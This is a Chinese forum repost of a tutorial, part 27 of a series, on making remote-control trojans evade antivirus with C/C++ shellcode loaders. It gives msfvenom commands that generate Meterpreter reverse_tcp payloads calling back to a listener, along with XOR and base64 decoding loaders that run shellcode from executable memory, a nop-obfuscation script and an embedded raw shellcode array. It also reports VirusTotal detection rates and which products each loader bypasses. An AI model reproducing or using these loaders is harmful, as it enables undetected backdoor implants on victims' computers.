本帖最后由 wholesome 于 2020-3-7 09:26 编辑
远控免杀专题(27)-C、C++加载shellcode免杀(中)
本文目录：(由于内容较多篇幅较长，分成了上中下三篇文章)： 一、C/C++加载shellcode免杀介绍 二、C/C++源码编译 2.1 方法1:指针执行(VT免杀率23/71) 2.2 方法2:申请动态内存加载(VT免杀率24/71) 2.3 方法3:嵌入汇编加载(VT免杀率12/71) 2.4 方法4:强制类型转换(VT免杀率9/70) 2.5 方法5:汇编花指令(VT免杀率12/69) 2.6 方法6:XOR加密(VT免杀率15/71) 2.7 方法7:base64加密法1(VT免杀率28/69) 2.8 方法8:base64加密法2(VT免杀率28/69) 2.9 方法9:python变形shellcode+汇编代码(VT免杀率8/70) 2.10 方法10:python+xor处理(VT免杀率15/69) 三、使用shellcode加载器 3.1 使用shellcode_launcher(VT免杀率3/71) 3.2 使用SSI加载(VT免杀率6/69) 四、参考资料 免杀能力一览表
  几点说明： 1、上表中标识 √ 说明相应杀毒软件未检测出病毒，也就是代表了Bypass。
2、为了更好的对比效果，大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。
3、由于本机测试时只是安装了360全家桶和火绒，所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2020.01.01)，火绒版本5.0.34.16(2020.01.01)，360安全卫士12.0.0.2002(2020.01.01)。
4、其他杀软的检测指标是在virustotal.com（简称VT）上在线查杀，所以可能只是代表了静态查杀能力，数据仅供参考，不足以作为免杀或杀软查杀能力的判断指标。
5、完全不必要苛求一种免杀技术能bypass所有杀软，这样的技术肯定是有的，只是没被公开，一旦公开第二天就能被杀了，其实我们只要能bypass目标主机上的杀软就足够了。
一、C/C++加载shellcode免杀介绍
在此之前对各种常见免杀工具进行了介绍，也可以从中了解很多免杀工具的原理，很多都是使用msfvenom生成shellcode，然后对shellcode进行混淆、编码等各种处理，最终再使用各种语言进行编译或加载。而被用到的最多的语言就是C/C++、C#和python。 这里我们介绍一下C/C++加载shellcode手工编译的方法，一般分为两种方式： 1、C/C++源码+shellcode直接编译，其中对shellcode的执行可以使用函数指针执行、汇编指令执行、申请动态内存等方式，且shellcode可进行一些加密混淆处理；比如免杀工具veil和Venom都是使用了类似的方法。 2、使用加载器加载C/C++代码，如shellcode_launcher之类。
2.6 方法6:XOR加密(VT免杀率15/71) 需要使用一个工具https://github.com/Arno0x/ShellcodeWrapper 先用msfvenom生成一个raw格式的shellcode - msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=10.211.55.2 lport=3333 -f raw > shellcode.raw
在ShellcodeWrapper文件夹中执行下面命令，其中tidesec为自己设置的key。 - python shellcode_encoder.<font color="#ff0000">py</font> -cpp -cs -py shellcode.<font color="#ff0000">raw</font> tidesec xor
 生成了三个文件，一个为C++源码，也是下面要用到的，一个为C#源码，可以使用csc.exe进行加载，还有一个py文件，可直接执行也可以编译成py-exe执行。 其中encryptedShellcodeWrapper_xor.cpp文件中的C++源码如下 - <font face="新宋体" size="4">/*
- Author: Arno0x0x, Twitter: @Arno0x0x
- */
- #include "stdafx.h"
- #include <windows.h>
- #include <iostream>
- int main(int argc, char **argv) {
- // Encrypted shellcode and cipher key obtained from shellcode_encoder.py
- char encryptedShellcode[] = "";
- char key[] = "tidesec";
- char cipherType[] = "xor";
- // Char array to host the deciphered shellcode
- char shellcode[sizeof encryptedShellcode];
- // XOR decoding stub using the key defined above must be the same as the encoding key
- int j = 0;
- for (int i = 0; i < sizeof encryptedShellcode; i++) {
- if (j == sizeof key - 1) j = 0;
- shellcode[i] = encryptedShellcode[i] ^ key[j];
- j++;
- }
- // Allocating memory with EXECUTE writes
- void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
- // Copying deciphered shellcode into memory as a function
- memcpy(exec, shellcode, sizeof shellcode);
- // Call the shellcode
- ((void(*)())exec)();
- }</font>
在vs2017中新建win32控制台应用程序  编译执行  可上线  打开杀软进行测试，火绒静态可查杀但是行为检测没报警，360杀毒和卫士没有反应，直接上线。  virustotal.com上查杀率15/71  需要两个文件，base64.c和base64.h base64.c文件内容 - /* Base64 encoder/decoder. Originally Apache file ap_base64.c
- */
- #include <string.h>
- #include "base64.h"
- /* aaaack but it's fast and const should make it shared text page. */
- static const unsigned char pr2six[256] =
- {
- /* ASCII table */
- 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
- 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
- 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 62, 64, 64, 64, 63,
- 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 64, 64, 64, 64, 64, 64,
- 64, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14,
- 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 64, 64, 64, 64, 64,
- 64, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40,
- 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 64, 64, 64, 64, 64,
- 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
- 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
- 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
- 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
- 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
- 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
- 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
- 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64
- };
- int Base64decode_len(const char *bufcoded)
- {
- int nbytesdecoded;
- register const unsigned char *bufin;
- register int nprbytes;
- bufin = (const unsigned char *)bufcoded;
- while (pr2six[*(bufin++)] <= 63);
- nprbytes = (bufin - (const unsigned char *)bufcoded) - 1;
- nbytesdecoded = ((nprbytes + 3) / 4) * 3;
- return nbytesdecoded + 1;
- }
- int Base64decode(char *bufplain, const char *bufcoded)
- {
- int nbytesdecoded;
- register const unsigned char *bufin;
- register unsigned char *bufout;
- register int nprbytes;
- bufin = (const unsigned char *)bufcoded;
- while (pr2six[*(bufin++)] <= 63);
- nprbytes = (bufin - (const unsigned char *)bufcoded) - 1;
- nbytesdecoded = ((nprbytes + 3) / 4) * 3;
- bufout = (unsigned char *)bufplain;
- bufin = (const unsigned char *)bufcoded;
- while (nprbytes > 4) {
- *(bufout++) =
- (unsigned char)(pr2six[*bufin] << 2 | pr2six[bufin[1]] >> 4);
- *(bufout++) =
- (unsigned char)(pr2six[bufin[1]] << 4 | pr2six[bufin[2]] >> 2);
- *(bufout++) =
- (unsigned char)(pr2six[bufin[2]] << 6 | pr2six[bufin[3]]);
- bufin += 4;
- nprbytes -= 4;
- }
- /* Note: (nprbytes == 1) would be an error, so just ingore that case */
- if (nprbytes > 1) {
- *(bufout++) =
- (unsigned char)(pr2six[*bufin] << 2 | pr2six[bufin[1]] >> 4);
- }
- if (nprbytes > 2) {
- *(bufout++) =
- (unsigned char)(pr2six[bufin[1]] << 4 | pr2six[bufin[2]] >> 2);
- }
- if (nprbytes > 3) {
- *(bufout++) =
- (unsigned char)(pr2six[bufin[2]] << 6 | pr2six[bufin[3]]);
- }
- *(bufout++) = '\0';
- nbytesdecoded -= (4 - nprbytes) & 3;
- return nbytesdecoded;
- }
- static const char basis_64[] =
- "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
- int Base64encode_len(int len)
- {
- return ((len + 2) / 3 * 4) + 1;
- }
- int Base64encode(char *encoded, const char *string, int len)
- {
- int i;
- char *p;
- p = encoded;
- for (i = 0; i < len - 2; i += 3) {
- *p++ = basis_64[(string[i] >> 2) & 0x3F];
- *p++ = basis_64[((string[i] & 0x3) << 4) |
- ((int)(string[i + 1] & 0xF0) >> 4)];
- *p++ = basis_64[((string[i + 1] & 0xF) << 2) |
- ((int)(string[i + 2] & 0xC0) >> 6)];
- *p++ = basis_64[string[i + 2] & 0x3F];
- }
- if (i < len) {
- *p++ = basis_64[(string[i] >> 2) & 0x3F];
- if (i == (len - 1)) {
- *p++ = basis_64[((string[i] & 0x3) << 4)];
- // *p++ = '=';
- }
- else {
- *p++ = basis_64[((string[i] & 0x3) << 4) |
- ((int)(string[i + 1] & 0xF0) >> 4)];
- *p++ = basis_64[((string[i + 1] & 0xF) << 2)];
- }
- //*p++ = '=';
- }
- *p++ = '\0';
- return p - encoded;
- }
- #ifndef _BASE64_H_
- #define _BASE64_H_
- #ifdef __cplusplus
- extern "C" {
- #endif
- int Base64encode_len(int len);
- int Base64encode(char * coded_dst, const char *plain_src, int len_plain_src);
- int Base64decode_len(const char * coded_src);
- int Base64decode(char * plain_dst, const char *coded_src);
- #ifdef __cplusplus
- }
- #endif
- #endif //_BASE64_H_
- #include <Windows.h>
- #include <stdio.h>
- #include <string.h>
- #include "base64.h"
- unsigned char buf[] =
- "msf base64 code here";
- int main(int argc, const char * argv[]) {
- char str1[1000] = { 0 };
- Base64decode(str1, buf);
- //printf("%d ", sizeof(str3));
- char *Memory;
- Memory = VirtualAlloc(NULL, sizeof(str1), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
- memcpy(Memory, str1, sizeof(str1));
- ((void(*)())Memory)();
- return 0;
- }
使用msf生成base64编码的shellcode - msfvenom -p windows/meterpreter/reverse_tcp --encrypt base64 lhost=10.211.55.2 lport=3333 -f c > shell.c
把shell.c的内容复制到上面shellcode.c文件中。 使用gcc进行编译 - gcc shellcode.c base64.c -o test.exe
执行，可正常上线，火绒静态查杀会报毒，但行为检测没有反应，360全通过。  virustotal.com上查杀率为28/69  另外一种base64加密方式，和方法7类似，实现代码略有不同。 base64.c - //
- // base64.c
- // base64
- //
- // Created by guofu on 2017/5/25.
- // Copyright © 2017年 guofu. All rights reserved.
- //
- /**
- * 转解码过程
- * 3 * 8 = 4 * 6; 3字节占24位, 4*6=24
- * 先将要编码的转成对应的ASCII值
- * 如编码: s 1 3
- * 对应ASCII值为: 115 49 51
- * 对应二进制为: 01110011 00110001 00110011
- * 将其6个分组分4组: 011100 110011 000100 110011
- * 而计算机是以8bit存储, 所以在每组的高位补两个0如下:
- * 00011100 00110011 00000100 00110011对应:28 51 4 51
- * 查找base64 转换表 对应 c z E z
- *
- * 解码
- * c z E z
- * 对应ASCII值为 99 122 69 122
- * 对应表base64_suffix_map的值为 28 51 4 51
- * 对应二进制值为 00011100 00110011 00000100 00110011
- * 依次去除每组的前两位, 再拼接成3字节
- * 即: 01110011 00110001 00110011
- * 对应的就是s 1 3
- */
- #include "base64.h"
- #include <stdio.h>
- #include <stdlib.h>
- // base64 转换表, 共64个
- static const char base64_alphabet[] = {
- 'A', 'B', 'C', 'D', 'E', 'F', 'G',
- 'H', 'I', 'J', 'K', 'L', 'M', 'N',
- 'O', 'P', 'Q', 'R', 'S', 'T',
- 'U', 'V', 'W', 'X', 'Y', 'Z',
- 'a', 'b', 'c', 'd', 'e', 'f', 'g',
- 'h', 'i', 'j', 'k', 'l', 'm', 'n',
- 'o', 'p', 'q', 'r', 's', 't',
- 'u', 'v', 'w', 'x', 'y', 'z',
- '0', '1', '2', '3', '4', '5', '6', '7', '8', '9',
- '+', '/' };
- // 解码时使用
- static const unsigned char base64_suffix_map[256] = {
- 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 253, 255,
- 255, 253, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
- 255, 255, 255, 255, 255, 255, 255, 255, 253, 255, 255, 255,
- 255, 255, 255, 255, 255, 255, 255, 62, 255, 255, 255, 63,
- 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 255, 255,
- 255, 254, 255, 255, 255, 0, 1, 2, 3, 4, 5, 6,
- 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18,
- 19, 20, 21, 22, 23, 24, 25, 255, 255, 255, 255, 255,
- 255, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36,
- 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48,
- 49, 50, 51, 255, 255, 255, 255, 255, 255, 255, 255, 255,
- 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
- 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
- 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
- 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
- 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
- 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
- 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
- 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
- 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
- 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
- 255, 255, 255, 255 };
- static char cmove_bits(unsigned char src, unsigned lnum, unsigned rnum) {
- src <<= lnum; // src = src << lnum;
- src >>= rnum; // src = src >> rnum;
- return src;
- }
- int base64_encode(const char *indata, int inlen, char *outdata, int *outlen) {
- int ret = 0; // return value
- if (indata == NULL || inlen == 0) {
- return ret = -1;
- }
- int in_len = 0; // 源字符串长度, 如果in_len不是3的倍数, 那么需要补成3的倍数
- int pad_num = 0; // 需要补齐的字符个数, 这样只有2, 1, 0(0的话不需要拼接, )
- if (inlen % 3 != 0) {
- pad_num = 3 - inlen % 3;
- }
- in_len = inlen + pad_num; // 拼接后的长度, 实际编码需要的长度(3的倍数)
- int out_len = in_len * 8 / 6; // 编码后的长度
- char *p = outdata; // 定义指针指向传出data的首地址
- //编码, 长度为调整后的长度, 3字节一组
- for (int i = 0; i < in_len; i += 3) {
- int value = *indata >> 2; // 将indata第一个字符向右移动2bit(丢弃2bit)
- char c = base64_alphabet[value]; // 对应base64转换表的字符
- *p = c; // 将对应字符(编码后字符)赋值给outdata第一字节
- //处理最后一组(最后3字节)的数据
- if (i == inlen + pad_num - 3 && pad_num != 0) {
- if (pad_num == 1) {
- *(p + 1) = base64_alphabet[(int)(cmove_bits(*indata, 6, 2) + cmove_bits(*(indata + 1), 0, 4))];
- *(p + 2) = base64_alphabet[(int)cmove_bits(*(indata + 1), 4, 2)];
- *(p + 3) = '=';
- }
- else if (pad_num == 2) { // 编码后的数据要补两个 '='
- *(p + 1) = base64_alphabet[(int)cmove_bits(*indata, 6, 2)];
- *(p + 2) = '=';
- *(p + 3) = '=';
- }
- }
- else { // 处理正常的3字节的数据
- *(p + 1) = base64_alphabet[cmove_bits(*indata, 6, 2) + cmove_bits(*(indata + 1), 0, 4)];
- *(p + 2) = base64_alphabet[cmove_bits(*(indata + 1), 4, 2) + cmove_bits(*(indata + 2), 0, 6)];
- *(p + 3) = base64_alphabet[*(indata + 2) & 0x3f];
- }
- p += 4;
- indata += 3;
- }
- if (outlen != NULL) {
- *outlen = out_len;
- }
- return ret;
- }
- int base64_decode(const char *indata, int inlen, char *outdata) {
- int ret = 0;
- if (indata == NULL || inlen <= 0 || outdata == NULL ) {
- return ret = -1;
- }
- if (inlen % 4 != 0) { // 需要解码的数据不是4字节倍数
- return ret = -2;
- }
- int t = 0, x = 0, y = 0, i = 0;
- unsigned char c = 0;
- int g = 3;
- while (indata[x] != 0) {
- // 需要解码的数据对应的ASCII值对应base64_suffix_map的值
- c = base64_suffix_map[indata[x++]];
- if (c == 255) return -1;// 对应的值不在转码表中
- if (c == 253) continue;// 对应的值是换行或者回车
- if (c == 254) { c = 0; g--; }// 对应的值是'='
- t = (t << 6) | c; // 将其依次放入一个int型中占3字节
- if (++y == 4) {
- outdata[i++] = (unsigned char)((t >> 16) & 0xff);
- if (g > 1) outdata[i++] = (unsigned char)((t >> 8) & 0xff);
- if (g > 2) outdata[i++] = (unsigned char)(t & 0xff);
- y = t = 0;
- }
- }
- return ret;
- }
base64.h - #ifndef base64_h
- #define base64_h
- #include <stdio.h>
- #if __cplusplus
- extern "C" {
- #endif
- int base64_encode(const char *indata, int inlen, char *outdata, int *outlen);
- int base64_decode(const char *indata, int inlen, char *outdata);
- #if __cplusplus
- }
- #endif
- #endif /* base64_h */
- shellcode.c
- #include <stdio.h>
- #include <string.h>
- #include <Windows.h>
- #include "base64.h"
- unsigned char buf[] =
- "msf base64 code";
- int main(int argc, const char * argv[]) {
- char str3[1000] = { 0 };
- //printf("%s ", buf);
- base64_decode(buf, (int)strlen(buf), str3);
- //printf("%d ", sizeof(str3));
- char *Memory;
- Memory = VirtualAlloc(NULL, sizeof(str3), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
- memcpy(Memory, str3, sizeof(str3));
- ((void(*)())Memory)();
- return 0;
- }
使用msf生成base64编码的shellcode - msfvenom -p windows/meterpreter/reverse_tcp --encrypt base64 lhost=10.211.55.2 lport=3333 -f c > shell.c
把shell.c的内容复制到上面shellcode.c文件中。 使用gcc进行编译 - gcc shellcode.c base64.c -o test.exe
 virustotal.com中30/66个报毒  python2环境，需要安装capstone和keystone-engine包。 - pip install capstone<img width="15" _height="15" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" border="0" alt="" style="background-color: rgb(255, 255, 255); color: rgb(0, 0, 0); font-family: 新宋体; font-size: large;">
其中keystone-engine官方包不能使用pip安装，需手动安装。 - 下载 https://pypi.org/project/keystone-engine/#files
- 从src/make-common.sh 文件中删除i386。
- 手动安装：cd keystone-engine-0.9.1-3sudo python setup.py install
- from capstone import *
- from keystone import *
- def assemble(code):
- try:
- ks = Ks(KS_ARCH_X86, KS_MODE_32)
- encoding, count = ks.asm(code)
- return [hex(i) for i in encoding]
- except KsError as e:
- print(e)
- return -1
- def byteoffset2index(offset):
- temp=offset
- a=0
- for i in md.disasm(CODE, 0x0):
- temp-=len(i.bytes)
- a+=1
- if temp==0:
- return a
- if __name__ == "__main__":
- md = Cs(CS_ARCH_X86, CS_MODE_32)
- controlflow=["jmp","jz","jnz","je","jne","call","jl","ja","loop","jecxz","jle","jge","jg","jp","jnl"]
- registers=["eax","ebx","edx","ebp","esp","edi","esi"]
- CODE = b"\xfc\xe8\ code here";
- asm=";".join([i.mnemonic+" "+i.op_str for i in md.disasm(CODE, 0x0)])
- asmarray=asm.split(";")
- length=len(asmarray)
- tags=[]
- for i in range(0,len(asmarray)):
- for mnemonic in controlflow:
- if (mnemonic in asmarray[i]):
- tags.append(i)
- mask=[]
- for i in range(0,len(tags)):
- for reg in registers:
- if (reg in asmarray[tags[i]]):
- mask.append(tags[i])
- [tags.remove(i) for i in mask]
- tagins=[asmarray[i] for i in tags]
- revision=[]
- for i in range(0,len(tagins)):
- b=tagins[i][tagins[i].index("0x"):]
- n=byteoffset2index(int(b,16))
- revision.append(n)
- revision_unique=list(set(revision))
- for i in range(0,len(revision_unique)):
- asmarray[revision_unique[i]]="a"+str(revision_unique[i])+": "+asmarray[revision_unique[i]]
- tagins=[asmarray[i] for i in tags]
- for i in range(0,len(tags)):
- asmarray[tags[i]]=tagins[i][:tagins[i].index("0x")]+"a"+str(revision[i])
- obfuscation="nop"
- code=obfuscation+";"+(";"+obfuscation+";").join(asmarray)
- print("unsigned char buf[]="+str(assemble(code)).replace("\'","").replace("[","{").replace("]","}")+";")
- #print("unsigned char buf[]="+str(assemble(code)[::-1]).replace("\'","").replace("[","{").replace("]","}")+";")
 编译运行 - #include <stdio.h>
- #include <string.h>
- #include <Windows.h>
- #define fucku __asm{mov eax,eax}
- #pragma comment(linker,"/subsystem:"Windows" /entry:"mainCRTStartup"") //windows控制台程序不出黑窗口
- int main(void) {
- typedef int(*pfunc)(void);
- unsigned char buf[] = { 0x90, 0xfc, 0x90, 0xe8, python_code_here };
- fucku;
- BYTE* sc = (BYTE*)VirtualAlloc(NULL, sizeof(buf) + 1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
- fucku;
- fucku;
- //memcpy(sc,buf,sizeof(buf));
- for (int i = 0; i<sizeof(buf); i++) {
- fucku;
- sc[i] = buf[i];
- }
- pfunc shellcode = (pfunc)sc;
- __asm {
- push shellcode
- ret
- }
- //HANDLE lpThread=CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)shellcode,NULL,0,NULL);
- //WaitForSingleObject(lpThread,-1);
- }
360和火绒均能免杀  virustotal.com中8/70个报毒  msf生成shellcode  python脚本生成xor代码 - import re
- raw = r"""
- unsigned char buf[] =
- "\xba\x28\x95\xf9\xba\xda\xda\xd9\x74\x24\xf4\x5b\x33\xc9\xb1"
- "\x71\x31\x53\x13\x83\xeb\xfc\x03\x53\x27\x77\x0c\x04\xc8\x12"
- "\x29\x57\xed\x10\x6c\xdc\x35\x5f\xd5\x2e\xfc\x2e\x80\x61\x8c"
- "\x44\x56\xf0\x64\xe6\x9a\xf0\x99\x78\x66\x8e\x46\x89\xe7\x22"
- "\xb3\xb6\x0f\x84\xf4\xc1\xc4\x44\xfc\x96\xce\x59\x7d\xb6\x13"
- "\xee\x83\xbf\x4b\x5a\xd7\x17\x76\xb4\x82\xfb\x26\x9c\x35\x20"
- "\xfa\xb0\xf5\xc3\xec\xd0\x57\x94\xfa\x35\xfc\x4f\x2e\x45\xf4"
- "\xdf\xc9\x7c\x49\xc7\x05\x81\x60\x60\x3f\x2c\x2c\xd9\xb7\x69"
- "\xfb\x4f\xe4\x90\x4e\xde\x93\xf2\xb5\x4f\xed\xb6\x01\xeb\x54"
- "\xc9\x74\xff\xe4\xd5\xcb\x4a\x44\x2a\xe9\x5c\xe8\x86\xc3\x4e"
- "\x8c\x99\x64\xc1\x6d\xcb\x62\x6e\x0a\x0c\x1f\xb3\xb6\x9a\xbc"
- "\x11\x2b\x08\xf1\xfb\x77\x42\xb4\x9b\x32\x78\x1a\x30\x93\xa7"
- "\xf8\x18\xfb\x1f\xb2\x9b\x06\xae\xcb\x92\xd3\x9e\x7d\x78\xef"
- "\x9c\xb0\xe7\x3b\x34\xf1\xd5\xe3\xea\x8f\xb8\xff\x75\xe3\xe6"
- "\xe7\x43\xe5\xd8\x9f\xf3\x59\x0e\xb6\x41\x43\xfb\xe7\x2e\x94"
- "\x8c\x7b\x61\x21\x7b\x3d\x52\x41\xa8\xd9\x8c\x7c\x2f\x4c\x40"
- "\xbf\x82\xed\x96\xfe\xbe\x89\x86\x98\x90\x31\x69\x92\x89\x78"
- "\x12\xae\x3a\x36\xe0\xf5\x1a\x8c\xda\xa4\x9f\x60\x49\x42\x5a"
- "\xd8\x2d\xe0\xe9\x8e\xfe\x2d\xab\x66\x14\x60\x60\x34\x2e\xf0"
- "\x48\x42\x57\xf9\x3c\xe2\xb6\xaa\x77\x48\xb3\x27\xe4\x0d\x85"
- "\xd1\x40\x55\x73\xa9\x15\xd2\x9c\x1e\xf9\x54\xb1\xa2\xde\x9a"
- "\x1b\x96\x3c\x54\x83\x35\xc0\x66\x23\xbe\x65\x47\x5b\x70\xf5"
- "\x95\xfe\xa9\x03\xb4\x2d\xe9\x78\x42\x7e\x24\x78\x13\xbe\x0b"
- "\x23\xf9\xbf\x9f\x72\xc1\xb7\x87\xd4\x66\x72\xa9\x65\x39\x47"
- "\x1c\xec\x4e\x11\xa8\xb6\xc7\x18\x4f\x92\x1e\xfb\xbb\xc6\x2d"
- "\x4c\x91\x83\x47\xe9\x8b\x9f\x80\xb1\xc8\x7a\xdc\x21\x0c\x34"
- "\x76\x1b\xfa\xf3\x15\xc6\x0d\xa3\x74\x7d\x9d\xc3\xa3\x31\xbd"
- "\x47\xf0\x9b\xc3\xd6\x7e\xec\x17\x62\x7c\x52\xeb\xc9\xdb\xaf"
- "\xe7\xf8\x31\x2e\x79\xdd\xb0\x6e\x65\x96\x8f\x3c\x21\x89\xb8"
- "\x02\x39\x46\xf5\xb8\x8e\x49\x14\x48\xb2\x71\xcc\xdf\x61\x45"
- "\xa2\x9c\x8c\x23\x06\xe4\xf2\x91\x47\x4a\x81\xbd\x7c\xaa\x89"
- "\xa0\xf5\x0a\x4d\xc1\x96\x30\x33\x71\x24\x80";
- """
- regx = re.compile(r"\\x\w\w")
- arr = re.findall(regx,raw)
- for i in range(0,len(arr)):
- arr[i] = arr[i].replace("\","0")
- data = """
- #include <windows.h>
- #pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
- void test()
- {
- unsigned char buf[333];
- """
- data = data + " "
- print(len(arr))
- for i in range(len(arr)):
- data = data + "buf["+ str(i) +"] = " + arr[i] + "^ 0x5f ^ 0x5f;"
- if(i%100 == 0):
- data = data + "\r\n "
- data = data + """
- ((void(*)(void))&buf)();
- }
- int main(int argc, char* argv[])
- {
- test();
- return 0;
- }
- """
- f = open("shellcode.txt","w")
- f.write(data)
gcc编译后，执行，可过360，不能过火绒。 编译的时候需要： - 1、关闭DEP（链接器-高级-DEP）
- 2、对项目禁止优化（右击项目-c/c++-优化）。
 virustotal.com中15/69个报毒  三、参考资料
Meterpreter免杀总结:https://carlstar.club/2019/01/04/dig/
shellcode加载总结:https://uknowsec.cn/posts/notes/ ... 80%BB%E7%BB%93.html
浅谈meterpreter免杀：https://www.jianshu.com/p/9d2790f6c8aa
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